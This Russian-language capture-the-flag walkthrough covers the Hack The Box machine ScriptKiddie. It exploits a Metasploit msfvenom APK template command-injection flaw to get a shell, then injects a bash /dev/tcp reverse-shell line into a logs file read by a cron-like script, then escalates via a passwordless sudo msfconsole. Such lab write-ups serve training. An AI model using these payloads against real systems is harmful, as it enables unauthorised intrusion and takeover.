Хакер - HTB ScriptKiddie. Атакуем Metasploit при помощи Metasploit, чтобы захватить хост
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Закрепление
- Продвижение
- Локальное повышение привилегий
В Metasploit Framework тоже бывают уязвимости, и в этой статье мы проэксплуатируем одну из них. Через баг в пользовательском скрипте мы захватим другого пользователя, что приведет к повышению привилегий. Все это и кое‑что еще — в рамках прохождения легкой машины ScriptKiddie с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
IP машины — 10.10.10.226, добавляем его в /etc/hosts:
10.10.10.226 scripkiddie.htb
И сканируем порты моим традиционным скриптом:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Открытых порта два: 22 (служба SSH) и 5000 (Werkzeug). Паролей у нас нет, поэтому на SSH пока что делать нечего. Будем «пробивать» порт 5000, где нас встречает страница с обещающим заголовком k1d'5 h4ck3r t00l5. Уже интересно!

Страница поделена на области, в каждой из которых есть поля для ввода. Первое поле принимает IP-адрес для сканирования 100 портов с помощью Nmap, вторая область служит для генерирования нагрузки Meterpreter с помощью MSFvenom и требует указать операционную систему атакуемого хоста и IP хоста для отстука, при этом есть возможность использовать файл шаблона. В последней области просто выполняется поиск эксплоитов с помощью утилиты searchsploit.

ЗАКРЕПЛЕНИЕ
Здесь уже стоит подумать о том, как получить RCE. Есть два пути:
- тестирование полей на возможность инъекций команд ОС, так как введенные данные будут переданы как аргумент к соответствующей программе в командной строке;
- тестирование формы загрузки файла.
Так как тестирование второго варианта займет меньше времени, сразу начнем с него. Загрузка файлов .php и тому подобных результатов не дала, поэтому перейдем к загрузке более легитимных файлов — .apk. На сервере используется Metasploit Fraimwork, и в нем, что неудивительно, тоже существуют уязвимости. Куда забавнее тот факт, что для MSF есть модули, которые сами эти уязвимости и эксплуатируют.
Для многих типов нагрузок, которые предоставляет msfvenom, он позволяет пользователю указать шаблон (опция -x). Даже если ты такую опцию не используешь, msfvenom все равно будет применять свой шаблон. Но в модуле, который генерирует нагрузку с использованием шаблона файла APK, есть уязвимость, связанная с внедрением команд. MSF генерирует нагрузку следующим образом:
- В функции
parse_orig_cert_data(исходный код) используетсяkeytoolдля извлечения поляOwnerиз подписи APK, а также метки времени. - В функции
backdoor_apkиспользуетсяkeytoolдля генерирования нового ключа подписи и самозаверяющего сертификата на основе сведений, извлеченных из файла APK (исходный код). - Далее в той же функции
backdoor_apkпроисходит декомпиляция APK-файла, применяется синтаксический анализатор XML для анализа файла манифеста, внедрение полезной нагрузки, пересборка APK, применяетсяjarsignerдля подписи файла APK.
Уязвимость заключается в использовании утилиты keytool на втором шаге, так как происходит выполнение через командную строку.
keytool -genkey -v -keystore #{keystore} -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA -keysize 2048 -startdate '#{orig_cert_startdate}' -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'
При этом значение orig_cert_dname было получено на этапе 1, при анализе исходного APK и извлечении поля Owner из подписи APK. Эта команда передается в функцию Open3.popen3(), которая, если используется всего один параметр, работает, как и функция system(). Это дает возможность инжектить команды ОС, если поле Owner из подписи APK будет содержать одинарную кавычку и далее конвейер команд командной строки, завершающийся символом комментария (#).
Metasploit Framework позволяет нам создать шаблон APK с уже встроенным бэкдором. Для этого используем модуль
exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
А в качестве параметров нужно указать лишь локальные адрес хоста и порт.
msfconsole
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
set LHOST [ip]
set LPORT [port]
run

Так как мы будем выполнять бэкконнект, то сначала необходимо создать листенер, который будет принимать соединение. Я буду использовать rlwrap и netcat.
apt install rlwrap
rlwrap nc -lvp [port]
А теперь загружаем сгенерированный файл и получаем бэкконнект.


ПРОДВИЖЕНИЕ
Работать через обычную оболочку удобнее, поэтому забираем пользовательский ключ SSH и уже с ним переподключаемся. Для разведки на хосте могут помочь скрипты PEASS — они есть как для Windows, так и для Linux. Берем вариант для Linux:
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
И загружаем его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью python простой веб‑сервер. После выполнения данной команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
А теперь с помощью того же wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
В выводе получим очень много информации, поэтому важно выбрать нужное, в данном случае — доступные файлы в домашних директориях других пользователей. А еще важнее, что там нашелся скрипт на Bash под названием scanlosers.sh.


Он делает следующее: открывает файл /home/kid/logs/hackers, берет оттуда IP-адреса и передает в Nmap. При этом мы имеем право записи в данный файл.

Манипулирование данными, которые далее используются в другом скрипте, позволит нам вновь провести атаку OS command injection. Давай посмотрим, как часто запускается этот файл. Для отслеживания процессов будем использовать pspy64. Загрузим его на хост тем же способом, что и linpeas, а потом выполним. В выводе находим отображение запуска найденного скрипта, но, что более интересно, он запускается в контексте пользователя с UID 1001, а это пользователь pwn.
# Скачиваем на локальный хост
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
# Затем на удаленный
wget http://[ip_локального_хоста]:8000/pspy64
chmod +x pspy64
./pspy64

Выходит, захватить другого пользователя совсем легко. Давай запишем в файл строку, которой мы завершим команду Nmap, выполним реверс‑шелл и закомментируем оставшиеся символы (не забываем активировать листенер).
;/bin/bash -c 'bash -i >& /dev/tcp/[ip]/[port] 0>&1' #

После сохранения увидим бэкконнект.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Первым делом проверяем наиболее вероятные места повышения привилегий: настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локалхосте порты. Но нам везет еще на первом шаге: при вводе команды sudo -l.

В настройках sudoers прописан привилегированный запуск msfconsole без пароля (NOPASSWD). Выходит, не нужно даже ничего придумывать, так как консоль msf дает нам шелл.
sudo /opt/metasploit-framework-6.0.9/msfconsole

А это значит, что машина захвачена и мы выполнили задачу.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei